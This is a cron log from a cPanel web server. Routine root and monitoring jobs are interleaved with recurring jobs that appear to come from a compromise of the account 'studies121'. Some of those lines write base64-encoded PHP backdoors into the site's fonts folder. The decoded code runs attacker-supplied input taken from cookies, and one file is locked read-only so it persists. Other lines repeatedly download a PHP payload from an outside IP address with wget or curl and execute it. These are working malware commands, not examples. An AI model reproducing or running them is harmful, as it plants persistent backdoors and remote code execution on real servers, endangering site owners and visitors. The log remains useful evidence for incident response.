Sep  9 23:57:02 ip-184-168-122-23 CROND[755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:57:02 ip-184-168-122-23 CROND[753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:57:02 ip-184-168-122-23 CROND[754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:58:01 ip-184-168-122-23 CROND[835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:58:01 ip-184-168-122-23 CROND[836]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 23:58:01 ip-184-168-122-23 CROND[840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:58:01 ip-184-168-122-23 CROND[839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:58:01 ip-184-168-122-23 CROND[842]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:59:01 ip-184-168-122-23 CROND[929]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:59:01 ip-184-168-122-23 CROND[930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:59:01 ip-184-168-122-23 CROND[932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:59:01 ip-184-168-122-23 CROND[934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:00:01 ip-184-168-122-23 CROND[1101]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 00:00:01 ip-184-168-122-23 CROND[1103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:00:01 ip-184-168-122-23 CROND[1104]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 10 00:00:01 ip-184-168-122-23 CROND[1106]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 00:00:01 ip-184-168-122-23 CROND[1107]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 00:00:01 ip-184-168-122-23 CROND[1105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:00:01 ip-184-168-122-23 CROND[1108]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 00:00:01 ip-184-168-122-23 CROND[1111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:00:01 ip-184-168-122-23 CROND[1114]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:01:01 ip-184-168-122-23 CROND[1207]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 00:01:01 ip-184-168-122-23 CROND[1209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:01:01 ip-184-168-122-23 CROND[1210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:01:01 ip-184-168-122-23 CROND[1208]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 00:01:01 ip-184-168-122-23 CROND[1212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:01:01 ip-184-168-122-23 CROND[1211]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[1207]: starting 0anacron
Sep 10 00:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[1232]: finished 0anacron
Sep 10 00:01:01 ip-184-168-122-23 anacron[1230]: Anacron started on 2026-09-10
Sep 10 00:01:01 ip-184-168-122-23 anacron[1230]: Normal exit (0 jobs run)
Sep 10 00:02:01 ip-184-168-122-23 CROND[1317]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:02:01 ip-184-168-122-23 CROND[1319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:02:01 ip-184-168-122-23 CROND[1321]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 00:02:01 ip-184-168-122-23 CROND[1320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:02:01 ip-184-168-122-23 CROND[1322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:03:01 ip-184-168-122-23 CROND[1416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:03:01 ip-184-168-122-23 CROND[1432]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:03:01 ip-184-168-122-23 CROND[1417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:03:01 ip-184-168-122-23 CROND[1415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:04:01 ip-184-168-122-23 CROND[1510]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:04:01 ip-184-168-122-23 CROND[1512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:04:01 ip-184-168-122-23 CROND[1515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:04:01 ip-184-168-122-23 CROND[1514]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 00:04:01 ip-184-168-122-23 CROND[1516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:05:01 ip-184-168-122-23 CROND[1610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:05:01 ip-184-168-122-23 CROND[1611]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 00:05:01 ip-184-168-122-23 CROND[1613]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 00:05:01 ip-184-168-122-23 CROND[1615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:05:01 ip-184-168-122-23 CROND[1617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:05:01 ip-184-168-122-23 CROND[1619]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:05:01 ip-184-168-122-23 CROND[1618]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 00:06:01 ip-184-168-122-23 CROND[1702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:06:01 ip-184-168-122-23 CROND[1703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:06:01 ip-184-168-122-23 CROND[1705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:06:01 ip-184-168-122-23 CROND[1707]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:06:01 ip-184-168-122-23 CROND[1708]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 00:07:01 ip-184-168-122-23 CROND[1887]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:07:01 ip-184-168-122-23 CROND[1888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:07:01 ip-184-168-122-23 CROND[1891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:07:01 ip-184-168-122-23 CROND[1890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:08:01 ip-184-168-122-23 CROND[1980]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 00:08:01 ip-184-168-122-23 CROND[1981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:08:01 ip-184-168-122-23 CROND[1984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:08:01 ip-184-168-122-23 CROND[1986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:08:01 ip-184-168-122-23 CROND[1988]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:09:01 ip-184-168-122-23 CROND[2063]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
